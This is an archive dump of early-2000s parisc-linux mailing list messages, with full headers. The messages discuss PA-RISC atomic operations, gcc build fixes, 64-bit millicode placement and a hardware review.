Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 03:21:24 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200101021121.DAA14657@pizda.ninka.net>
References: <200101020811.AAA26525@milano.cup.hp.com> <200101020903.BAA14334@pizda.ninka.net> <20010102112242.A7040@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619487 9574 80.91.229.3 (22 Nov 2014 01:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:47 +0000 (UTC)
Cc: grundler@cup.hp.com, linux-kernel@vger.kernel.org,
        alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: matthew@wil.cx
Original-X-From: davem@redhat.com  Tue Jan  2 04:35:30 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA28746
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 04:35:29 -0700
Original-Received: (qmail 29148 invoked by uid 15267); 2 Jan 2001 11:38:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29137 invoked from network); 2 Jan 2001 11:38:33 -0000
Original-Received: from pizda.ninka.net (root@216.101.162.242)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 11:38:33 -0000
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id DAA14657;
	Tue, 2 Jan 2001 03:21:24 -0800
In-reply-to: <20010102112242.A7040@parcelfarce.linux.theplanet.co.uk> (message
	from Matthew Wilcox on Tue, 2 Jan 2001 11:22:42 +0000)
Xref: news.gmane.org gmane.linux.ports.parisc:9064

   Date: Tue, 2 Jan 2001 11:22:42 +0000
   From: Matthew Wilcox <matthew@wil.cx>

   We really can't.  We _only_ have load-and-zero.  And it has to be
   16-byte aligned.  xchg() is just not something the CPU implements.

Oh bugger... you do have real problems.

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit xgcc build failing
Date: Tue, 2 Jan 2001 22:37:14 +1100 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101022233250.24351-100000@front.linuxcare.com.au>
References: <20001221201649.798A737C9E@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619488 9577 80.91.229.3 (22 Nov 2014 01:24:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 04:35:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA28804
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 04:35:53 -0700
Original-Received: (qmail 29565 invoked by uid 15267); 2 Jan 2001 11:39:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29551 invoked from network); 2 Jan 2001 11:39:11 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 11:39:11 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA31767;
	Tue, 2 Jan 2001 22:37:14 +1100
In-Reply-To: <20001221201649.798A737C9E@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9065

On Thu, 21 Dec 2000, Matt Taggart wrote:

> /home/al-76/puffin/palinux/gcc/gcc/varasm.c: In function `assemble_integer':  
> /home/al-76/puffin/palinux/gcc/gcc/varasm.c:1910: parse error before `0'  

The culprit is line 100 of config/pa/pa64.h, currently

  while 0

It should be

  while (0)

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 11:22:42 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010102112242.A7040@parcelfarce.linux.theplanet.co.uk>
References: <200101020811.AAA26525@milano.cup.hp.com> <200101020903.BAA14334@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619488 9580 80.91.229.3 (22 Nov 2014 01:24:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:48 +0000 (UTC)
Cc: grundler@cup.hp.com, linux-kernel@vger.kernel.org,
        alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: willy@www.linux.org.uk  Tue Jan  2 04:45:51 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA29125
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 04:45:51 -0700
Original-Received: (qmail 2874 invoked by uid 15267); 2 Jan 2001 11:49:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2867 invoked from network); 2 Jan 2001 11:49:10 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 11:49:10 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14DPWc-000218-00; Tue, 02 Jan 2001 11:22:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101020903.BAA14334@pizda.ninka.net>; from davem@redhat.com on Tue, Jan 02, 2001 at 01:03:48AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9066

On Tue, Jan 02, 2001 at 01:03:48AM -0800, David S. Miller wrote:
> If you require an external agent (f.e. your spinlock) because you
> cannot implement xchg with a real atomic sequence, this breaks the
> above assumptions.

We really can't.  We _only_ have load-and-zero.  And it has to be 16-byte
aligned.  xchg() is just not something the CPU implements.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi Kleen <ak@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 12:59:24 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010102125924.A9538@gruyere.muc.suse.de>
References: <200101020811.AAA26525@milano.cup.hp.com> <200101020903.BAA14334@pizda.ninka.net> <20010102112242.A7040@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619488 9581 80.91.229.3 (22 Nov 2014 01:24:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:48 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, grundler@cup.hp.com,
        linux-kernel@vger.kernel.org, alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: ak@suse.de  Tue Jan  2 04:56:35 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA29614
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 04:56:34 -0700
Original-Received: (qmail 9518 invoked by uid 15267); 2 Jan 2001 11:59:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9506 invoked from network); 2 Jan 2001 11:59:53 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 11:59:53 -0000
Original-Received: from Hermes.suse.de (Hermes.suse.de [194.112.123.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 1F2DA1E2A7; Tue,  2 Jan 2001 12:59:53 +0100 (MET)
Original-Received: from gruyere.muc.suse.de (unknown [10.23.1.2])
	by Hermes.suse.de (Postfix) with ESMTP
	id 7D0373E44F; Tue,  2 Jan 2001 12:59:52 +0100 (MET)
Original-Received: by gruyere.muc.suse.de (Postfix, from userid 14446)
	id C546F2F302; Tue,  2 Jan 2001 12:59:24 +0100 (MET)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010102112242.A7040@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Tue, Jan 02, 2001 at 11:22:42AM +0000
Original-Sender: ak@suse.de
Xref: news.gmane.org gmane.linux.ports.parisc:9067

On Tue, Jan 02, 2001 at 11:22:42AM +0000, Matthew Wilcox wrote:
> On Tue, Jan 02, 2001 at 01:03:48AM -0800, David S. Miller wrote:
> > If you require an external agent (f.e. your spinlock) because you
> > cannot implement xchg with a real atomic sequence, this breaks the
> > above assumptions.
> 
> We really can't.  We _only_ have load-and-zero.  And it has to be 16-byte
> aligned.  xchg() is just not something the CPU implements.

The network code relies on the reader-xchg semantics David described in 
several places.

-Andi


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance computing review of a180
Date: Fri, 14 May 1999 07:39:13 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <19990514073913.18827@insula.local>
References: <19990513184043.A20996@master.debian.org>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619489 9587 80.91.229.3 (22 Nov 2014 01:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:49 +0000 (UTC)
To: Justin Maurer <justin@master.debian.org>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Fri May 14 01:37:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA18343
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 May 1999 01:37:57 -0600
Original-Received: (qmail 4277 invoked by uid 15267); 14 May 1999 07:37:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4270 invoked from network); 14 May 1999 07:37:29 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 14 May 1999 07:37:29 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10iCXV-001LzIC; Fri, 14 May 1999 09:37:49 +0200 (CEST)
Original-Received: (qmail 18644 invoked from network); 14 May 1999 07:38:07 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 14 May 1999 07:38:07 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id HAA00359;
	Fri, 14 May 1999 07:39:16 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <19990513184043.A20996@master.debian.org>; from Justin Maurer on Thu, May 13, 1999 at 06:40:43PM -0500
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:9068

>by popular request, here are some key bits from the review of the a180 in this
>month's _unix's review's performance computing_:

I think there are some bits there that are interesting.

> (the machine as test was priced at $16,568. it had one cpu (lc), 1gb ram, two
> 4gb drives, and hp-ux 11.0)

1 GB RAM sounds a bit much if you later whine about the RAM being too
expensive. Furthermore, they seem to have enough money to buy 1 GB of
RAM, but not enough to buy the A180C version, which scores at 130% of
the A180 in SPECweb96 (650 vs 500) according to HP's docs.

> "most recent non-intel servers have 64-bit cpus, but the core of the a-class
> is hp's pa-7300, a 32-bit processor. this may seem a bit retro, but there is
> little about internet services that actually benefits from 64-bit processor"

What is a bit retro about the 7300LC, according to HP's website, is it
is manufactured in 0.50 um-process. This could be the reason for it being
clocked comparably low at 180 MHz.

>"the only printed documentation that ships with the a-class is a small booklet
>showing basic cable connections and outlining the customary safety and
>regulatory statements. all other documentation is either part of the installed
>hp-ux os (for example, online manual pages...additionally, the hp instant
>information cd-rom, a collection of documentation is available as a $300
>option. thus, to install the a-class, it is cubersome (though necessary) to
>have another system on hand to various documentation web sites."

This attitude, if it is more common, could make Linux on the A180 a lot more
popular. Linux is fairly standardized, you can get most Documentation as
hardcopy or read it on an x86 box etc.

>finally, the last thing before the closing comments is a bit on performance:
>"...the 180-mhz a-class also produces spec scores lower than the 400mhz
>pentium ii xeon processor, which is fairly common in intel-based servers.
>interestingly, hp has chosen not to publish, at least at press time, benchmark
>results for the a-class for the specweb96 benchmark, which would be an obvious
>choice for a web-specific system design...." its spec scores are then compared
>to several other 64-bit systems..

I don't know if the information HP gave us was publically available before,
but it gives SPECweb96 results.

> "...for example, the system memory is comparatively expensive, evidenced by
> the price of the system we tested. thus, while the a-class hits the design
> mark for high-density rackmount servers (20 in a two-meter rack), more-robust
> configurations are pricey. as a result, design gets a two-flag rating on our
> scale--average."

> "...expansion is not a big issue...the version of bind should have been
> upgraded to bind 8, and not including sendmail 8.9 we feel is a
> mistake...performance is not a primary objective for hp with the a-class.."

This should be no problem with Linux.

>in short, they give it "poor" on installation and documentation, "average" on
>design, expandibility, performance, and *overall*, and "good" on operation.
>they basically give it a few nice compliments, then rag on the same things and
>more. more towards the negative side, overall.

sounds as there seems to be interest in Linux on the A180.


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 bit kernel crash with wrong r27 value
Date: Wed, 3 Jan 2001 00:34:38 +1100 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101030033490.24351-100000@front.linuxcare.com.au>
References: <20001222113950.A2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619489 9589 80.91.229.3 (22 Nov 2014 01:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 06:31:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA30570
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 06:31:24 -0700
Original-Received: (qmail 18723 invoked by uid 15267); 2 Jan 2001 13:34:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18686 invoked from network); 2 Jan 2001 13:34:42 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 13:34:42 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA01623;
	Wed, 3 Jan 2001 00:34:38 +1100
In-Reply-To: <20001222113950.A2554@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9069

On Fri, 22 Dec 2000, Richard Hirst wrote:

> had no cause to reload dp as that is always the callers responsibility.

Yes.  For hppa64, dp should be assumed trashed by any function call.
That means some further patches in entry.S are needed, which ought to be  
made #ifdef __LP64__

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PATCH: Adjust label usage count for new insns [was Re: pa reload 
 problem]
Date: Tue, 02 Jan 2001 02:51:32 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <26318.978429092@upchuck>
References: <200012162038.PAA25535@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619489 9593 80.91.229.3 (22 Nov 2014 01:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:49 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Tue Jan  2 09:52:21 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA31939
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 09:52:21 -0700
Original-Received: (qmail 10007 invoked by uid 15267); 2 Jan 2001 16:55:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9915 invoked from network); 2 Jan 2001 16:55:34 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 16:55:34 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id IAA21984
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Jan 2001 08:55:32 -0800 (PST)
Original-Received: from upchuck (localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id CAA26320;
	Tue, 2 Jan 2001 02:51:32 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 16 Dec 2000 15:38:02 EST.
             <200012162038.PAA25535@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9070


  In message <200012162038.PAA25535@hiauly1.hia.nrc.ca>you write:
  > 2000-12-14  John David Anglin  <dave@hiauly1.hia.nrc.ca>
  > 
  > 	* loop.c (add_label_notes): Increment the label usage count when
  > 	a note is added to an insn which refers to a CODE_LABEL.
  > 	* gcse.c (add_label_notes): Likewise.
Thanks.  Installed.

jeff



From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 17:18:52 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <E14DV5K-0002Xn-00@the-village.bc.nu>
References: <20010102125924.A9538@gruyere.muc.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619490 9596 80.91.229.3 (22 Nov 2014 01:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:50 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), davem@redhat.com (David S. Miller),
        grundler@cup.hp.com, linux-kernel@vger.kernel.org,
        alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: ak@suse.de (Andi Kleen)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Jan  2 10:41:15 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA00409
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 10:41:14 -0700
Original-Received: (qmail 19177 invoked by uid 15267); 2 Jan 2001 17:44:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19145 invoked from network); 2 Jan 2001 17:44:33 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 17:44:33 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14DV5K-0002Xn-00; Tue, 2 Jan 2001 17:18:54 +0000
In-Reply-To: <20010102125924.A9538@gruyere.muc.suse.de> from "Andi Kleen" at Jan 02, 2001 12:59:24 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9071

> > We really can't.  We _only_ have load-and-zero.  And it has to be 16-byte
> > aligned.  xchg() is just not something the CPU implements.
> 
> The network code relies on the reader-xchg semantics David described in 
> several places.

I guess the network code will just have to change for 2.5. read_xchg_val()
can be a null macro for everyone else at least


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] where to put 64 bit libmilli?
Date: Tue, 02 Jan 2001 12:25:46 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <E14DX46-0005uT-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619490 9599 80.91.229.3 (22 Nov 2014 01:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@fc.hp.com  Tue Jan  2 12:22:29 2001
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01504
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 12:22:28 -0700
Original-Received: (qmail 15949 invoked by uid 15267); 2 Jan 2001 19:25:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15931 invoked from network); 2 Jan 2001 19:25:48 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 19:25:48 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id 810245C7
	for <parisc-linux@thepuffingroup.com>; Tue,  2 Jan 2001 14:25:47 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id MAA21706
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Jan 2001 12:25:46 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14DX46-0005uT-00
	for <parisc-linux@thepuffingroup.com>; Tue, 02 Jan 2001 12:25:46 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9072


I have source code for HP's 64-bit millicode and am working on making
it compilable with our tool chain.  But the bigger question is where
do I put it?

Right now millicode is part of libgcc.a in top-of-branch gcc, but I
seem to recall some linker magic, and when/if that happens I don't
know where to put the millicode stuff.

Help?

	-Paul Bame


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Tue, 2 Jan 2001 14:39:03 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200101021939.OAA07752@hiauly1.hia.nrc.ca>
References: <E14DX46-0005uT-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619490 9602 80.91.229.3 (22 Nov 2014 01:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan  2 12:36:03 2001
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA02078
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 12:36:03 -0700
Original-Received: (qmail 7438 invoked by uid 15267); 2 Jan 2001 19:39:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7380 invoked from network); 2 Jan 2001 19:39:23 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 19:39:23 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA07752;
	Tue, 2 Jan 2001 14:39:03 -0500 (EST)
In-Reply-To: <E14DX46-0005uT-00@noam.fc.hp.com> from "Paul Bame" at Jan 2, 2001 12:25:46 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9073

> I have source code for HP's 64-bit millicode and am working on making
> it compilable with our tool chain.  But the bigger question is where
> do I put it?
> 
> Right now millicode is part of libgcc.a in top-of-branch gcc, but I
> seem to recall some linker magic, and when/if that happens I don't
> know where to put the millicode stuff.

Last time I looked the 64 bit port was still using the same milli
library as the 32 bit port.  Thus to integrate a 64 bit library,
some work would have to be done to the machine description.  There
are hooks to build asm code (see for example lib1funcs.asm and
lib2funcs.asm in config/pa).

Has HP contributed this code to the public domain?  Probably, Jeff
Law would be the one to contact to get integrated into the gcc mainline.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Tue, 02 Jan 2001 12:58:50 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <E14DXa6-0005xq-00@noam.fc.hp.com>
References: <200101021939.OAA07752@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619490 9606 80.91.229.3 (22 Nov 2014 01:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@fc.hp.com  Tue Jan  2 12:55:33 2001
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA02508
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 12:55:32 -0700
Original-Received: (qmail 7864 invoked by uid 15267); 2 Jan 2001 19:58:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7843 invoked from network); 2 Jan 2001 19:58:53 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 19:58:53 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
